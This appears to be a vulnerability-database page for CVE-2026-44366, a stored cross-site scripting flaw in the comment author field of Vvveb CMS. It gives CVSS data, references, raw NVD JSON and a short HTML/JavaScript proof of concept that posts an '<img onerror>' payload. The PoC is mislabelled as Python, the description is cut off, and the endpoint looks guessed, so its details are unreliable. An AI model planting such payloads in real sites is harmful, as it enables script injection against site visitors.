CVE-2026-44366

Description

Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.1, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Vvveb CMS comment submission flow. The author field is submitted by an unauthenticated user on any public post page, stored without sanitization, and later rendered unsanitized in two distinct sinks: This vulnerability is fixed in 1.0.8.1.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Vvveb CMS < 1.0.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html>
  <body>
    <script>
      // Proof of Concept for CVE-2026-44366
      // Target: Vvveb CMS comment submission endpoint
      function exploit() {
        // Malicious payload to be stored in the 'author' field
        var payload = '<img src=x onerror=alert(1)>';
        
        var formData = new FormData();
        formData.append('content', 'This is a test comment');
        formData.append('author', payload); // Vulnerable parameter
        
        fetch('/index.php?module=comments&action=save', {
          method: 'POST',
          body: formData
        }).then(response => console.log('Payload sent'));
      }
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44366
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44366
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44366/
[4] VulDB https://vuldb.com/cve/CVE-2026-44366
[5] https://github.com/givanz/Vvveb/security/advisories/GHSA-gpmg-pcxr-9wvf
[6] https://github.com/givanz/Vvveb/security/advisories/GHSA-gpmg-pcxr-9wvf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44366", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:16:59.340", "lastModified": "2026-05-16T02:16:14.890", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.1, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Vvveb CMS comment submission flow. The author field is submitted by an unauthenticated user on any public post page, stored without sanitization, and later rendered unsanitized in two distinct sinks: This vulnerability is fixed in 1.0.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-gpmg-pcxr-9wvf", "source": "[email protected]"}, {"url": "https://github.com/givanz/Vvveb/security/advisories/GHSA-gpmg-pcxr-9wvf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}